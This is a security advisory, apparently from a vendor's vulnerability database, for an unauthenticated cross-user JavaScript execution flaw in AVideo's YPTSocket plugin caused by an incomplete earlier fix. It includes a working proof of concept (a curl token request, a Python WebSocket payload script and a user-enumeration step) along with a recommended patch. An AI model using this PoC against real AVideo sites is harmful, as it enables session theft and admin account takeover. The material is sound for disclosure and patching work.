GHSA-ghcv-22jf-vfxm is a high-severity (CVSS 7.2) Code Injection vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo has an Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg['json']` Relay Bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-ghcv-22jf-vfxm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-ghcv-22jf-vfxm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit c08694bf6) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval().
Details
Entry point (unauthenticated)
plugin/YPTSocket/getWebSocket.json.php (lines 1–21) issues a valid WebSocket token to any caller, with no authentication or CSRF check:
$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
die(json_encode($obj));
getEncryptedInfo() defaults to sentFrom = 'browser' and a non-CLI flag (plugin/YPTSocket/functions.php:3-47), so a token minted for an anonymous browser client will cause the strip branch below to run — which is exactly what we want to audit.
Incomplete strip (the fix from commit c08694bf6)
plugin/YPTSocket/Message.php:236-247:
// Strip eval-able fields from browser/guest messages.
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
if (is_array($json['msg'] ?? null)) {
unset($json['msg']['autoEvalCodeOnHTML']); // <-- only strips $json['msg']
}
if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
unset($json['callback']);
}
}
If the incoming $json['msg'] is a scalar (e.g. the string "x"), is_array(...) is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in $json passes through untouched. The same flawed check exists in plugin/YPTSocket/MessageSQLiteV2.php:285-293.
Relay preference picks the untouched field
plugin/YPTSocket/Message.php:316-322 (and the mirror at MessageSQLiteV2.php:396-402):
if (!empty($msg['json'])) {
$obj['msg'] = $msg['json']; // <-- preferred carrier; never stripped
} else if (!empty($msg['msg'])) {
$obj['msg'] = $msg['msg'];
} else {
$obj['msg'] = $msg;
}
An attacker payload shaped as {"msg": "x", "json": {"autoEvalCodeOnHTML": "<js>"}, "to_users_id": <victim>} therefore:
- Passes
switch ($json->msg)into thedefaultcase (Message.php:211, 228). msgToArray($json)converts to array. The strip branch enters becausesentFrom === 'browser', butis_array("x")is false and the strip is skipped.- Routing lands on
msgToUsers_id($json, $json['to_users_id'])(Message.php:253), which for each matching resource callsmsgToResourceId($msg, $resourceId)(Message.php:379). - In
msgToResourceId,!empty($msg['json'])is true, so$obj['msg']becomes{"autoEvalCodeOnHTML": "<js>"}(Message.php:316-317). - The
shouldPropagateInfo()check at Message.php:287-289 only logs — it does not return — so delivery proceeds regardless.
Client-side sink
plugin/YPTSocket/script.js:573-575:
if (json.msg?.autoEvalCodeOnHTML !== undefined) {
eval(json.msg.autoEvalCodeOnHTML);
}
Any logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.
Routing to any user
msgToUsers_id() (Message.php:362-389) looks up to_users_id against $this->clientsUsersId and relays to every resource belonging to that user. Because to_users_id comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing getClientsList request handled at Message.php:219-224 using the same unauthenticated token.
PoC
Step 1 — mint an unauthenticated WebSocket token:
curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'
# {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0", ...}
Step 2 — connect and send the crafted message:
import json, ssl, websocket
TOKEN = '<TOKEN>' # from step 1
URL = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0'
VICTIM = 2 # any logged-in users_id with an open tab
ws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE})
payload = {
'msg': 'x', # scalar -> strip branch skipped
'webSocketToken': TOKEN,
'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"},
'to_users_id': VICTIM,
}
ws.send(json.dumps(payload))
ws.close()
Expected result: the victim's tab receives {"type":"DEFAULT_MESSAGE","msg":{"autoEvalCodeOnHTML":"alert(...)"}, ...} and executes the JavaScript via eval().
Optional Step 0 — enumerate active users (using the same token):
ws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN}))
# response lists active users_id values
Impact
- Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session. The victim only needs a tab open on the site — no click, no link, no CSRF.
- Same-origin compromise: the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data.
- Privilege escalation when an admin is targeted: arbitrary admin-panel actions via same-origin XHR — account takeover, plugin configuration changes, file uploads, etc.
- Mass exploitation feasible:
getClientsList(also reachable with the anonymous token) enumerates activeusers_idvalues, and the attacker can iterateto_users_idacross all of them. - This is an incomplete fix for GHSA-gph2-j4c9-vhhr — deployments that patched to commit
c08694bf6remain exploitable.
Recommended Fix
Scrub autoEvalCodeOnHTML from every outbound carrier the relay may choose, not only from $json['msg']. Patch both plugin/YPTSocket/Message.php and plugin/YPTSocket/MessageSQLiteV2.php. For example, replace the current strip in onMessage():
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
foreach (['msg', 'json'] as $k) {
if (is_array($json[$k] ?? null)) {
unset($json[$k]['autoEvalCodeOnHTML']);
}
}
// also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe
if (isset($json['autoEvalCodeOnHTML'])) {
unset($json['autoEvalCodeOnHTML']);
}
if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
unset($json['callback']);
}
}
Additionally, harden the relay itself in msgToResourceId() (both files) so future regressions cannot reintroduce the sink — walk the chosen $obj['msg'] recursively and unset autoEvalCodeOnHTML whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side eval(json.msg.autoEvalCodeOnHTML) at plugin/YPTSocket/script.js:573-575 behind a server-signed field rather than a plain JSON key.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-ghcv-22jf-vfxm yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-ghcv-22jf-vfxm can be triaged on real exposure rather than presence alone.
Tailored to GHSA-ghcv-22jf-vfxm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-ghcv-22jf-vfxm in your dependencies?
O3 Security finds GHSA-ghcv-22jf-vfxm across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.